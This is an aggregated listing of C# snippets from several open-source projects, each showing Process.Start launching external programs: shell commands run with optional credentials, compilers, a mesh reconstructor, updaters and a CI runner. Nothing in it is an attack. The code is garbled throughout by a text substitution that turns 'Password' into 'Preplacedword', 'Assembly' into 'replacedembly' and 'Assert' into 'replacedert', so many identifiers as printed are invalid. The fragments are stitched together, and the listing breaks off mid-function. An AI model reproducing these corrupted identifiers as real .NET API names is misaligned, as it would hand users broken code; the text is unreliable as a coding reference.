            shellProcess.StartInfo.WorkingDirectory = Path;
            shellProcess.StartInfo.UseShellExecute = false;
            shellProcess.StartInfo.CreateNoWindow = true;
            shellProcess.StartInfo.RedirectStandardOutput = true;
            shellProcess.StartInfo.RedirectStandardError = true;

            var output = new StringBuilder();
            shellProcess.OutputDataReceived += (sender, args) => { output.AppendLine(args.Data); };
            shellProcess.ErrorDataReceived += (sender, args) => { output.AppendLine(args.Data); };

            shellProcess.Start();

            shellProcess.BeginOutputReadLine();
            shellProcess.BeginErrorReadLine();
            shellProcess.WaitForExit();

            return output.ToString().TrimEnd();
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 3xpl01tc0d3r

public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Preplacedword = "")
        {

            if (ShellCommand == null || ShellCommand == "") return "";

            string ShellCommandName = ShellCommand.Split(' ')[0];
            string ShellCommandArguments = "";
            if (ShellCommand.Contains(" "))
            {
                ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", "");
            }

            System.Diagnostics.Process shellProcess = new System.Diagnostics.Process();
            if (Username != "")
            {
                shellProcess.StartInfo.UserName = Username;
                shellProcess.StartInfo.Domain = Domain;
                System.Security.SecureString SecurePreplacedword = new System.Security.SecureString();
                foreach (char c in Preplacedword)
                {
                    SecurePreplacedword.AppendChar(c);
                }
                shellProcess.StartInfo.Preplacedword = SecurePreplacedword;
            }
            shellProcess.StartInfo.FileName = ShellCommandName;
            shellProcess.StartInfo.Arguments = ShellCommandArguments;
            shellProcess.StartInfo.WorkingDirectory = Path;
            shellProcess.StartInfo.UseShellExecute = false;
            shellProcess.StartInfo.CreateNoWindow = true;
            shellProcess.StartInfo.RedirectStandardOutput = true;
            shellProcess.StartInfo.RedirectStandardError = true;

            var output = new StringBuilder();
            shellProcess.OutputDataReceived += (sender, args) => { output.AppendLine(args.Data); };
            shellProcess.ErrorDataReceived += (sender, args) => { output.AppendLine(args.Data); };

            shellProcess.Start();

            shellProcess.BeginOutputReadLine();
            shellProcess.BeginErrorReadLine();
            shellProcess.WaitForExit();

            return output.ToString().TrimEnd();
        }

19 Source : PlantumlSession.cs
with MIT License
from 8T4

internal void Execute(string path, bool processWholeDirectory)
        {
            var directory = processWholeDirectory
                ? path
                : new FileInfo(path)?.Directory?.FullName;

            try
            {
                if (string.IsNullOrEmpty(directory))
                {
                    throw new PlantumlException($"{nameof(PlantumlException)}: puml file not found.");
                }

                var results = new StringBuilder();

                var jar = StandardLibraryBaseUrl
                    ? $"-jar {FilePath} -verbose -o \"{directory}\" -charset UTF-8"
                    : $"-jar {FilePath} -DRELATIVE_INCLUDE=\".\" -verbose -o \"{directory}\" -charset UTF-8";

                ProcessInfo.Arguments = $"{jar} {path}";
                ProcessInfo.RedirectStandardOutput = true;
                ProcessInfo.StandardOutputEncoding = Encoding.UTF8;

                var process = new Process { StartInfo = ProcessInfo };

                process.OutputDataReceived += (_, args) => { results.AppendLine(args.Data); };

                process.Start();
                process.WaitForExit();
            }
            catch (Exception e)
            {
                throw new PlantumlException($"{nameof(PlantumlException)}: puml file not found.", e);
            }
        }

19 Source : PointCloudToMeshComponentFull.cs
with GNU Lesser General Public License v3.0
from 9and3

protected override void SolveInstance(IGH_DataAccess DA) {

            int Downsample = 5000;
            int NormalsNeighbours = 100;
            bool debug = false;

            int maximumDeptOfReconstructionSurfaceTree = 8;
            int targetWidthOfTheFinestLevelOctree = 0;
            double ratioBetweenReconCubeAndBBCubeStd = 1.1;
            bool ReconstructorUsingLinearInterpolation = false;

            DA.GetData(1, ref Downsample);
            DA.GetData(2, ref NormalsNeighbours);
            DA.GetData(3, ref debug);
            DA.GetData(4, ref maximumDeptOfReconstructionSurfaceTree);
            DA.GetData(5, ref targetWidthOfTheFinestLevelOctree);
            DA.GetData(6, ref ratioBetweenReconCubeAndBBCubeStd);
            DA.GetData(7, ref ReconstructorUsingLinearInterpolation);

            //Guid to PointCloud
            //PointCloud c = new PointCloud();
            PointCloudGH c = new PointCloudGH();

            string debugInfo = debug ? "1" : "0";
            

            if (DA.GetData(0, ref c)) {
                if (!c.IsValid) return;
                if (c.Value.Count==0) return;
                Downsample = Math.Min(Downsample, c.Value.Count);

               // var watch = System.Diagnostics.Stopwatch.StartNew();
                // the code that you want to measure comes here

                /////////////////////////////////////////////////////////////////
                //Get Directory
                /////////////////////////////////////////////////////////////////
                string replacedemblyLocation = System.Reflection.replacedembly.GetExecutingreplacedembly().Location;
                string replacedemblyPath = System.IO.Path.GetDirectoryName(replacedemblyLocation);


                /////////////////////////////////////////////////////////////////
                //write PointCloud to PLY
                /////////////////////////////////////////////////////////////////
                PlyReaderWriter.PlyWriter.SavePLY(c.Value, replacedemblyPath + @"\in.ply");
                //Rhino.RhinoApp.WriteLine("PointCloudToMesh. Saved Input: " + replacedemblyPath + @"\in.ply");
                //watch.Stop();
                //Rhino.RhinoApp.WriteLine((watch.ElapsedMilliseconds / 1000.0).ToString());

                /////////////////////////////////////////////////////////////////
                //Ply to Mesh to Obj
                /////////////////////////////////////////////////////////////////
                //watch = System.Diagnostics.Stopwatch.StartNew();
                //tring argument = replacedemblyPath + "TestVisualizer.exe " + "-1 " + "100";//--asci 
                string argument = " "+Downsample.ToString()+ " " + NormalsNeighbours.ToString() + " " + debugInfo + " " + maximumDeptOfReconstructionSurfaceTree.ToString() + " " + targetWidthOfTheFinestLevelOctree.ToString() + " " + ratioBetweenReconCubeAndBBCubeStd.ToString() + " " + Convert.ToInt32(ReconstructorUsingLinearInterpolation).ToString();
                //--asci 
                                                                                                                  // Rhino.RhinoApp.WriteLine("PointCloudToMesh. Arguments: " + argument );



                // Rhino.RhinoApp.WriteLine("PointCloudToMesh. Directory: " + replacedemblyPath + @"\TestVisualizer.exe");

                if (debug) {
                    var proc = new System.Diagnostics.Process {
                        StartInfo = new System.Diagnostics.ProcessStartInfo {
                            FileName = replacedemblyPath + @"\TestVisualizer.exe",//filePath+"PoissonRecon.exe",
                            Arguments = argument,
                            //UseShellExecute = false,
                            //RedirectStandardOutput = true,
                            CreateNoWindow = false,
                            // WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden,
                            WorkingDirectory = replacedemblyPath + @"\TestVisualizer.exe"
                        }
                    };

                    proc.Start();
                 
                    proc.WaitForExit();
                } else {
                    var proc = new System.Diagnostics.Process {
                        StartInfo = new System.Diagnostics.ProcessStartInfo {
                            FileName = replacedemblyPath + @"\TestVisualizer.exe",//filePath+"PoissonRecon.exe",
                            Arguments = argument,
                            //UseShellExecute = false,
                            //RedirectStandardOutput = true,
                            CreateNoWindow = true,
                             WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden,
                            WorkingDirectory = replacedemblyPath + @"\TestVisualizer.exe"
                        }
                    };
                    proc.Start();
                    proc.WaitForExit();
                }

               // watch.Stop();
                //Rhino.RhinoApp.WriteLine((watch.ElapsedMilliseconds / 1000.0).ToString());

                /////////////////////////////////////////////////////////////////
                //Read Obj
                /////////////////////////////////////////////////////////////////
                ///

                //Outputs
               // watch = System.Diagnostics.Stopwatch.StartNew();

                // Initialize
                var obj = new ObjParser.Obj();

                // Read Wavefront OBJ file
                //obj.LoadObj(@"C:\libs\windows\out.obj");
            

                //PlyReaderWriter.PlyLoader plyLoader = new PlyReaderWriter.PlyLoader();
                //Mesh mesh3D = plyLoader.load(replacedemblyPath + @"\out.ply")[0];


                //Rhino.RhinoApp.WriteLine(replacedemblyPath + @"\windows\out.obj");
                obj.LoadObj(replacedemblyPath + @"\out.obj");

                Mesh mesh3D = new Mesh();
                foreach (ObjParser.Types.Vertex v in obj.VertexList) {
                    mesh3D.Vertices.Add(new Point3d(v.X, v.Y, v.Z));
                    mesh3D.VertexColors.Add(System.Drawing.Color.FromArgb((int)(v.r * 255), (int)(v.g * 255), (int)(v.b * 255)  ));
                }
 
                int num = checked(mesh3D.Vertices.Count - 1);

                foreach (ObjParser.Types.Face f in obj.FaceList) {

                    string[] lineData = f.ToString().Split(' ');
                    string[] v0 = lineData[1].Split('/');
                    string[] v1 = lineData[2].Split('/');
                    string[] v2 = lineData[3].Split('/');

                    MeshFace mf3D = new MeshFace(Convert.ToInt32(v0[0]) - 1, Convert.ToInt32(v1[0]) - 1, Convert.ToInt32(v2[0]) - 1);
                    if (mf3D.IsValid())
                        if (!(mf3D.A > num || mf3D.B > num || mf3D.C > num || mf3D.D > num))
                            mesh3D.Faces.AddFace(mf3D);


                }








                DA.SetData(0, mesh3D);

                /////////////////////////////////////////////////////////////////
                //Output Iso Values
                /////////////////////////////////////////////////////////////////
                string[] lines = System.IO.File.ReadAllLines(replacedemblyPath + @"\out.txt");
                double[] iso = new double[lines.Length];
                for (int i = 0; i < lines.Length; i++) { 
                    iso[i] = Convert.ToDouble(lines[i]);
                }
                //watch.Stop();
                //Rhino.RhinoApp.WriteLine((watch.ElapsedMilliseconds/1000.0).ToString());

                DA.SetDataList(1, iso);

            }


        }

19 Source : PointCloudToMeshComponent.cs
with GNU Lesser General Public License v3.0
from 9and3

protected override void SolveInstance(IGH_DataAccess DA) {

            int Downsample = 5000;
            int NormalsNeighbours = 100;
            bool debug = false;

            DA.GetData(1, ref Downsample);
            DA.GetData(2, ref NormalsNeighbours);
            DA.GetData(3, ref debug);


            //Guid to PointCloud
            //PointCloud c = new PointCloud();
            PointCloudGH c = new PointCloudGH();

            string debugInfo = debug ? "1" : "0";
            

            if (DA.GetData(0, ref c)) {
                if (!c.IsValid) return;
                if (c.Value.Count == 0) return;
                Downsample = Math.Min(Downsample, c.Value.Count);

               // var watch = System.Diagnostics.Stopwatch.StartNew();
                // the code that you want to measure comes here

                /////////////////////////////////////////////////////////////////
                //Get Directory
                /////////////////////////////////////////////////////////////////
                string replacedemblyLocation = System.Reflection.replacedembly.GetExecutingreplacedembly().Location;
                string replacedemblyPath = System.IO.Path.GetDirectoryName(replacedemblyLocation);


                /////////////////////////////////////////////////////////////////
                //write PointCloud to PLY
                /////////////////////////////////////////////////////////////////
                PlyReaderWriter.PlyWriter.SavePLY(c.Value, replacedemblyPath + @"\in.ply");
                //Rhino.RhinoApp.WriteLine("PointCloudToMesh. Saved Input: " + replacedemblyPath + @"\in.ply");
                //watch.Stop();
                //Rhino.RhinoApp.WriteLine((watch.ElapsedMilliseconds / 1000.0).ToString());

                /////////////////////////////////////////////////////////////////
                //Ply to Mesh to Obj
                /////////////////////////////////////////////////////////////////
                //watch = System.Diagnostics.Stopwatch.StartNew();
                //tring argument = replacedemblyPath + "TestVisualizer.exe " + "-1 " + "100";//--asci 
                string argument = " "+Downsample.ToString()+ " " + NormalsNeighbours.ToString() + " " + debugInfo + " 8 0 1.1 0";//--asci 
                                                                                                                  // Rhino.RhinoApp.WriteLine("PointCloudToMesh. Arguments: " + argument );

      
                //int maximumDeptOfReconstructionSurfaceTree = atoi(argv[4]);//8
                //int targetWidthOfTheFinestLevelOctree = atoi(argv[5]);//0
                //float ratioBetweenReconCubeAndBBCubeStd = atof(argv[6]);    // 1.1
                //bool ReconstructorUsingLinearInterpolation = atoi(argv[7]) == 1;//0


                // Rhino.RhinoApp.WriteLine("PointCloudToMesh. Directory: " + replacedemblyPath + @"\TestVisualizer.exe");

                if (debug) {
                    var proc = new System.Diagnostics.Process {
                        StartInfo = new System.Diagnostics.ProcessStartInfo {
                            FileName = replacedemblyPath + @"\TestVisualizer.exe",//filePath+"PoissonRecon.exe",
                            Arguments = argument,
                            //UseShellExecute = false,
                            //RedirectStandardOutput = true,
                            CreateNoWindow = false,
                            // WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden,
                            WorkingDirectory = replacedemblyPath + @"\TestVisualizer.exe"
                        }
                    };

                    proc.Start();
                 
                    proc.WaitForExit();
                } else {
                    var proc = new System.Diagnostics.Process {
                        StartInfo = new System.Diagnostics.ProcessStartInfo {
                            FileName = replacedemblyPath + @"\TestVisualizer.exe",//filePath+"PoissonRecon.exe",
                            Arguments = argument,
                            //UseShellExecute = false,
                            //RedirectStandardOutput = true,
                            CreateNoWindow = true,
                             WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden,
                            WorkingDirectory = replacedemblyPath + @"\TestVisualizer.exe"
                        }
                    };
                    proc.Start();
                    proc.WaitForExit();
                }

               // watch.Stop();
                //Rhino.RhinoApp.WriteLine((watch.ElapsedMilliseconds / 1000.0).ToString());

                /////////////////////////////////////////////////////////////////
                //Read Obj
                /////////////////////////////////////////////////////////////////
                ///

                //Outputs
               // watch = System.Diagnostics.Stopwatch.StartNew();

                // Initialize
                var obj = new ObjParser.Obj();

                // Read Wavefront OBJ file
                //obj.LoadObj(@"C:\libs\windows\out.obj");
            

                //PlyReaderWriter.PlyLoader plyLoader = new PlyReaderWriter.PlyLoader();
                //Mesh mesh3D = plyLoader.load(replacedemblyPath + @"\out.ply")[0];


                //Rhino.RhinoApp.WriteLine(replacedemblyPath + @"\windows\out.obj");
                obj.LoadObj(replacedemblyPath + @"\out.obj");

                Mesh mesh3D = new Mesh();
                foreach (ObjParser.Types.Vertex v in obj.VertexList) {
                    mesh3D.Vertices.Add(new Point3d(v.X, v.Y, v.Z));
                    mesh3D.VertexColors.Add(System.Drawing.Color.FromArgb((int)(v.r * 255), (int)(v.g * 255), (int)(v.b * 255)  ));
                }
 
                int num = checked(mesh3D.Vertices.Count - 1);

                foreach (ObjParser.Types.Face f in obj.FaceList) {

                    string[] lineData = f.ToString().Split(' ');
                    string[] v0 = lineData[1].Split('/');
                    string[] v1 = lineData[2].Split('/');
                    string[] v2 = lineData[3].Split('/');

                    MeshFace mf3D = new MeshFace(Convert.ToInt32(v0[0]) - 1, Convert.ToInt32(v1[0]) - 1, Convert.ToInt32(v2[0]) - 1);
                    if (mf3D.IsValid())
                        if (!(mf3D.A > num || mf3D.B > num || mf3D.C > num || mf3D.D > num))
                            mesh3D.Faces.AddFace(mf3D);


                }








                DA.SetData(0, mesh3D);

                /////////////////////////////////////////////////////////////////
                //Output Iso Values
                /////////////////////////////////////////////////////////////////
                string[] lines = System.IO.File.ReadAllLines(replacedemblyPath + @"\out.txt");
                double[] iso = new double[lines.Length];
                for (int i = 0; i < lines.Length; i++) { 
                    iso[i] = Convert.ToDouble(lines[i]);
                }
                //watch.Stop();
                //Rhino.RhinoApp.WriteLine((watch.ElapsedMilliseconds/1000.0).ToString());

                DA.SetDataList(1, iso);

            }


        }

19 Source : compiler.cs
with MIT License
from aaaddress1

public static bool geneateAsmSource(string srcPath, string outAsmPath)
        {
            Process p = new Process();
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.FileName = Path.Combine(Properties.Settings.Default.gwPath, "g++.exe");
            p.StartInfo.WorkingDirectory = Properties.Settings.Default.gwPath;

            p.StartInfo.Arguments = string.Format("-S {0} -masm=intel {2} -o {1}", srcPath, outAsmPath, Properties.Settings.Default.clArg);
            p.Start();

            string errr = p.StandardError.ReadToEnd();
            string oupt = p.StandardOutput.ReadToEnd();
            p.WaitForExit();
            if (File.Exists(outAsmPath)) return true;

            Program.mainUi.Invoke((MethodInvoker)delegate ()
            {
                if (logText == null) return;
                logMsg("============= Error =============", Color.Red);
                logMsg(errr + oupt, Color.Red);
            });
            return false;
        }

19 Source : compiler.cs
with MIT License
from aaaddress1

public static bool generateExe(string asmPath, string exeOutPath)
        {
            Process p = new Process();
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.FileName = Path.Combine(Properties.Settings.Default.gwPath, "g++.exe");
            p.StartInfo.WorkingDirectory = Properties.Settings.Default.gwPath;
            p.StartInfo.Arguments = string.Format("{0} -masm=intel {2} -o {1}", asmPath, exeOutPath, Properties.Settings.Default.linkArg);
            p.Start();

            string errr = p.StandardError.ReadToEnd();
            string oupt = p.StandardOutput.ReadToEnd();
            p.WaitForExit();
            if (File.Exists(exeOutPath)) return true;

            Program.mainUi.Invoke((MethodInvoker)delegate ()
            {
                if (logText == null) return;
                logMsg("============= Error =============", Color.Red);
                logMsg(errr + oupt, Color.Red);
            });
            return false;
        }

19 Source : UI.cs
with MIT License
from aaaddress1

private void browse_Click(object sender, EventArgs e)
        {
            Process p = new Process();
            p.StartInfo.FileName = "explorer";
            p.StartInfo.Arguments = Application.StartupPath;
            p.Start();
        }

19 Source : ProcessExtensions.cs
with Apache License 2.0
from abist-co-ltd

public static async Task<ProcessResult> StartProcessAsync(this Process process, ProcessStartInfo startInfo, bool showDebug = false, CancellationToken cancellationToken = default)
        {
            Debug.replacedert(!startInfo.UseShellExecute, "Process Start Info must not use shell execution.");
            Debug.replacedert(startInfo.RedirectStandardOutput, "Process Start Info must redirect standard output.");
            Debug.replacedert(startInfo.RedirectStandardError, "Process Start Info must redirect standard errors.");

            process.StartInfo = startInfo;
            process.EnableRaisingEvents = true;

            var processResult = new TaskCompletionSource<ProcessResult>();
            var errorCodeResult = new TaskCompletionSource<string[]>();
            var errorList = new List<string>();
            var outputCodeResult = new TaskCompletionSource<string[]>();
            var outputList = new List<string>();

            process.Exited += OnProcessExited;
            process.ErrorDataReceived += OnErrorDataReceived;
            process.OutputDataReceived += OnOutputDataReceived;

            async void OnProcessExited(object sender, EventArgs args)
            {
                processResult.TrySetResult(new ProcessResult(process.ExitCode, await errorCodeResult.Task, await outputCodeResult.Task));
                process.Close();
                process.Dispose();
            }

            void OnErrorDataReceived(object sender, DataReceivedEventArgs args)
            {
                if (args.Data != null)
                {
                    errorList.Add(args.Data);

                    if (!showDebug)
                    {
                        return;
                    }

                    UnityEngine.Debug.LogError(args.Data);
                }
                else
                {
                    errorCodeResult.TrySetResult(errorList.ToArray());
                }
            }

            void OnOutputDataReceived(object sender, DataReceivedEventArgs args)
            {
                if (args.Data != null)
                {
                    outputList.Add(args.Data);

                    if (!showDebug)
                    {
                        return;
                    }

                    UnityEngine.Debug.Log(args.Data);
                }
                else
                {
                    outputCodeResult.TrySetResult(outputList.ToArray());
                }
            }

            if (!process.Start())
            {
                if (showDebug)
                {
                    UnityEngine.Debug.LogError("Failed to start process!");
                }

                processResult.TrySetResult(new ProcessResult(process.ExitCode, new[] { "Failed to start process!" }, null));
            }
            else
            {
                process.BeginOutputReadLine();
                process.BeginErrorReadLine();
                CancellationWatcher(process);
            }

            async void CancellationWatcher(Process _process)
            {
                await Task.Run(() =>
                {
                    try
                    {
                        while (!_process.HasExited)
                        {
                            if (cancellationToken.IsCancellationRequested)
                            {
                                _process.Kill();
                            }
                        }
                    }
                    catch
                    {
                        // ignored
                    }
                });
            }

            return await processResult.Task;
        }

19 Source : OVRPlatformTool.cs
with MIT License
from absurd-joy

static void Command(TargetPlatform targetPlatform, string dataPath, string uploadCommand)
		{
			string platformUtilPath = CheckForPlatformUtil(dataPath);

			activeProcess = true;
			InitializePlatformUtilProcess(platformUtilPath, uploadCommand);

			ovrPlatUtilProcess.Exited += new EventHandler(
				(s, e) =>
				{
					activeProcess = false;
				}
			);

			ovrPlatUtilProcess.OutputDataReceived += new DataReceivedEventHandler(
				(s, e) =>
				{
					if (e.Data != null && e.Data.Length != 0 && !e.Data.Contains("\u001b"))
					{
						OVRPlatformTool.log += e.Data + "\n";
					}
				}
			);
			ovrPlatUtilProcess.ErrorDataReceived += new DataReceivedEventHandler(
				(s, e) =>
				{
					OVRPlatformTool.log += e.Data + "\n";
				}
			);

			try
			{
				ovrPlatUtilProcess.Start();
				ovrPlatUtilProcess.BeginOutputReadLine();
				ovrPlatUtilProcess.BeginErrorReadLine();
			}
			catch
			{
				if (ThrowPlatformUtilStartupError(platformUtilPath))
				{
					Command(targetPlatform, dataPath, uploadCommand);
				}
			}
		}

19 Source : OVRPlatformTool.cs
with MIT License
from absurd-joy

static void CheckForUpdate(string dataPath)
		{
			string platformUtilPath = CheckForPlatformUtil(dataPath);
			InitializePlatformUtilProcess(platformUtilPath, "self-update");

			OVRPlatformTool.log += "Checking for update...\n";

			ovrPlatUtilProcess.Exited += new EventHandler(
				(s, e) =>
				{
					if (File.Exists(dataPath + ".ovr-platform-util.exe"))
					{
						OVRPlatformTool.log += "Cleaning up...\n";
						while (File.Exists(dataPath + ".ovr-platform-util.exe")) { }
						OVRPlatformTool.log += "Finished updating platform utility.\n";
					}
					activeProcess = false;
				}
			);

			ovrPlatUtilProcess.OutputDataReceived += new DataReceivedEventHandler(
				(s, e) =>
				{
					if (e.Data != null && e.Data.Length != 0 && !e.Data.Contains("\u001b"))
					{
						OVRPlatformTool.log += e.Data + "\n";
					}
				}
			);

			try
			{
				ovrPlatUtilProcess.Start();
				ovrPlatUtilProcess.BeginOutputReadLine();
			}
			catch
			{
				if (ThrowPlatformUtilStartupError(platformUtilPath))
				{
					CheckForUpdate(dataPath);
				}
			}
		}

19 Source : OVRPlatformTool.cs
with MIT License
from absurd-joy

static void LoadRedistPackages(string dataPath)
		{
			// Check / Download the platform util and call list-redists on it
			activeProcess = true;
			string platformUtilPath = CheckForPlatformUtil(dataPath);
			InitializePlatformUtilProcess(platformUtilPath, "list-redists");

			OVRPlatformTool.log += "Loading redistributable packages...\n";

			List<RedistPackage> redistPacks = new List<RedistPackage>();

			ovrPlatUtilProcess.Exited += new EventHandler(
				(s, e) =>
				{
					activeProcess = false;
				}
			);

			ovrPlatUtilProcess.OutputDataReceived += new DataReceivedEventHandler(
				(s, e) =>
				{
					if (e.Data != null && e.Data.Length != 0 && !e.Data.Contains("\u001b") && !e.Data.Contains("ID"))
					{
						// Get the name / ID pair from the CLI and create a redist package instance
						string[] terms = e.Data.Split('|');
						if (terms.Length == 2)
						{
							RedistPackage redistPack = new RedistPackage(terms[1], terms[0]);
							redistPacks.Add(redistPack);
						}
					}
				}
			);

			try
			{
				ovrPlatUtilProcess.Start();
				ovrPlatUtilProcess.BeginOutputReadLine();

				ovrPlatUtilProcess.WaitForExit();

				if (redistPacks.Count != OVRPlatformToolSettings.RiftRedistPackages.Count)
				{
					OVRPlatformTool.log += "Successfully updated redistributable packages.\n";
					OVRPlatformToolSettings.RiftRedistPackages = redistPacks;
				}
				else
				{
					OVRPlatformTool.log += "Redistributable packages up to date.\n";
				}
			}
			catch
			{
				if (ThrowPlatformUtilStartupError(platformUtilPath))
				{
					LoadRedistPackages(dataPath);
				}
			}
		}

19 Source : ProcessController.cs
with MIT License
from Accelerider

public static void Restart(int exitCode = 0)
        {
            if (Settings.Default.IsRestarting) return;
            Settings.Default.IsRestarting = true;

            var process = new Process
            {
                StartInfo =
                {
                    FileName = LauncherPath,
                    WindowStyle = ProcessWindowStyle.Hidden,
                    Arguments = "--delay 2000 --auto-login"
                }
            };
            process.Start();

            Exit(exitCode);
        }

19 Source : Program.cs
with MIT License
from Accelerider

public static async Task Main(string[] args)
        {
            var launcherArgs = ParseLauncherArgs(args);

            if (launcherArgs.Delay > 0)
            {
                await Task.Delay(TimeSpan.FromMilliseconds(launcherArgs.Delay));
            }

            // 1. Find the latest version bin folder.
            var bins = GetBinDirectories(CurrentDirectory).ToList();
            if (!bins.Any()) return;

            bins.Sort((x, y) => x.Version > y.Version ? -1 : 1);

            foreach (var bin in bins)
            {
                // 2. Try to start the main program.
                try
                {
                    var process = new Process
                    {
                        StartInfo =
                        {
                            FileName = Path.Combine(bin.DirectoryName, MainProgramName),
                            WindowStyle = ProcessWindowStyle.Hidden,
                            Arguments = launcherArgs.AutoLogin ? "--auto-login" : string.Empty
                        }
                    };
                    process.Start();

                    // 3. Clear history versions.
                    foreach (var directory in bins.Where(item => !bin.Equals(item)))
                    {
                        await DeleteDirectoryAsync(directory.DirectoryName);
                    }
                }
                catch (Win32Exception)
                {
                    // TODO: Logging or Notify.
                    await DeleteDirectoryAsync(bin.DirectoryName);
                }
            }
        }

19 Source : SelfUpdater.cs
with MIT License
from actions

public async Task<bool> SelfUpdate(AgentRefreshMessage updateMessage, IJobDispatcher jobDispatcher, bool restartInteractiveRunner, CancellationToken token)
        {
            Busy = true;
            try
            {
                if (!await UpdateNeeded(updateMessage.TargetVersion, token))
                {
                    Trace.Info($"Can't find available update package.");
                    return false;
                }

                Trace.Info($"An update is available.");

                // Print console line that warn user not shutdown runner.
                await UpdateRunnerUpdateStateAsync("Runner update in progress, do not shutdown runner.");
                await UpdateRunnerUpdateStateAsync($"Downloading {_targetPackage.Version} runner");

                await DownloadLatestRunner(token);
                Trace.Info($"Download latest runner and unzip into runner root.");

                // wait till all running job finish
                await UpdateRunnerUpdateStateAsync("Waiting for current job finish running.");

                await jobDispatcher.WaitAsync(token);
                Trace.Info($"All running job has exited.");

                // We need to keep runner backup around for macOS until we fixed https://github.com/actions/runner/issues/743
                // delete runner backup
                DeletePreviousVersionRunnerBackup(token);
                Trace.Info($"Delete old version runner backup.");
                // generate update script from template
                await UpdateRunnerUpdateStateAsync("Generate and execute update script.");

                string updateScript = GenerateUpdateScript(restartInteractiveRunner);
                Trace.Info($"Generate update script into: {updateScript}");

                // kick off update script
                Process invokeScript = new Process();
#if OS_WINDOWS
            invokeScript.StartInfo.FileName = WhichUtil.Which("cmd.exe", trace: Trace);
            invokeScript.StartInfo.Arguments = $"/c \"{updateScript}\"";
#elif (OS_OSX || OS_LINUX)
                invokeScript.StartInfo.FileName = WhichUtil.Which("bash", trace: Trace);
                invokeScript.StartInfo.Arguments = $"\"{updateScript}\"";
#endif
                invokeScript.Start();
                Trace.Info($"Update script start running");

                await UpdateRunnerUpdateStateAsync("Runner will exit shortly for update, should be back online within 10 seconds.");

                return true;
            }
            finally
            {
                Busy = false;
            }
        }

19 Source : ProcessInvoker.cs
with MIT License
from actions

public async Task<int> ExecuteAsync(
            string workingDirectory,
            string fileName,
            string arguments,
            IDictionary<string, string> environment,
            bool requireExitCodeZero,
            Encoding outputEncoding,
            bool killProcessOnCancel,
            Channel<string> redirectStandardIn,
            bool inheritConsoleHandler,
            bool keepStandardInOpen,
            bool highPriorityProcess,
            CancellationToken cancellationToken)
        {
            ArgUtil.Null(_proc, nameof(_proc));
            ArgUtil.NotNullOrEmpty(fileName, nameof(fileName));

            Trace.Info("Starting process:");
            Trace.Info($"  File name: '{fileName}'");
            Trace.Info($"  Arguments: '{arguments}'");
            Trace.Info($"  Working directory: '{workingDirectory}'");
            Trace.Info($"  Require exit code zero: '{requireExitCodeZero}'");
            Trace.Info($"  Encoding web name: {outputEncoding?.WebName} ; code page: '{outputEncoding?.CodePage}'");
            Trace.Info($"  Force kill process on cancellation: '{killProcessOnCancel}'");
            Trace.Info($"  Redirected STDIN: '{redirectStandardIn != null}'");
            Trace.Info($"  Persist current code page: '{inheritConsoleHandler}'");
            Trace.Info($"  Keep redirected STDIN open: '{keepStandardInOpen}'");
            Trace.Info($"  High priority process: '{highPriorityProcess}'");

            _proc = new Process();
            _proc.StartInfo.FileName = fileName;
            _proc.StartInfo.Arguments = arguments;
            _proc.StartInfo.WorkingDirectory = workingDirectory;
            _proc.StartInfo.UseShellExecute = false;
            _proc.StartInfo.CreateNoWindow = !inheritConsoleHandler;
            _proc.StartInfo.RedirectStandardInput = true;
            _proc.StartInfo.RedirectStandardError = true;
            _proc.StartInfo.RedirectStandardOutput = true;

            // Ensure we process STDERR even the process exit event happen before we start read STDERR stream. 
            if (_proc.StartInfo.RedirectStandardError)
            {
                Interlocked.Increment(ref _asyncStreamReaderCount);
            }

            // Ensure we process STDOUT even the process exit event happen before we start read STDOUT stream.
            if (_proc.StartInfo.RedirectStandardOutput)
            {
                Interlocked.Increment(ref _asyncStreamReaderCount);
            }

#if OS_WINDOWS
            // If StandardErrorEncoding or StandardOutputEncoding is not specified the on the
            // ProcessStartInfo object, then .NET PInvokes to resolve the default console output
            // code page:
            //      [DllImport("api-ms-win-core-console-l1-1-0.dll", SetLastError = true)]
            //      public extern static uint GetConsoleOutputCP();
            StringUtil.EnsureRegisterEncodings();
#endif
            if (outputEncoding != null)
            {
                _proc.StartInfo.StandardErrorEncoding = outputEncoding;
                _proc.StartInfo.StandardOutputEncoding = outputEncoding;
            }

            // Copy the environment variables.
            if (environment != null && environment.Count > 0)
            {
                foreach (KeyValuePair<string, string> kvp in environment)
                {
                    _proc.StartInfo.Environment[kvp.Key] = kvp.Value;
                }
            }

            // Indicate GitHub Actions process.
            _proc.StartInfo.Environment["GITHUB_ACTIONS"] = "true";

            // Set CI=true when no one else already set it.
            // CI=true is common set in most CI provider in GitHub
            if (!_proc.StartInfo.Environment.ContainsKey("CI") &&
                Environment.GetEnvironmentVariable("CI") == null)
            {
                _proc.StartInfo.Environment["CI"] = "true";
            }

            // Hook up the events.
            _proc.EnableRaisingEvents = true;
            _proc.Exited += ProcessExitedHandler;

            // Start the process.
            _stopWatch = Stopwatch.StartNew();
            _proc.Start();

            // Decrease invoked process priority, in platform specifc way, relative to parent
            if (!highPriorityProcess)
            {
                DecreaseProcessPriority(_proc);
            }

            // Start the standard error notifications, if appropriate.
            if (_proc.StartInfo.RedirectStandardError)
            {
                StartReadStream(_proc.StandardError, _errorData);
            }

            // Start the standard output notifications, if appropriate.
            if (_proc.StartInfo.RedirectStandardOutput)
            {
                StartReadStream(_proc.StandardOutput, _outputData);
            }

            if (_proc.StartInfo.RedirectStandardInput)
            {
                if (redirectStandardIn != null)
                {
                    StartWriteStream(redirectStandardIn, _proc.StandardInput, keepStandardInOpen);
                }
                else
                {
                    // Close the input stream. This is done to prevent commands from blocking the build waiting for input from the user.
                    _proc.StandardInput.Close();
                }
            }

            var cancellationFinished = new TaskCompletionSource<bool>();
            using (var registration = cancellationToken.Register(async () =>
            {
                await CancelAndKillProcessTree(killProcessOnCancel);
                cancellationFinished.TrySetResult(true);
            }))
            {
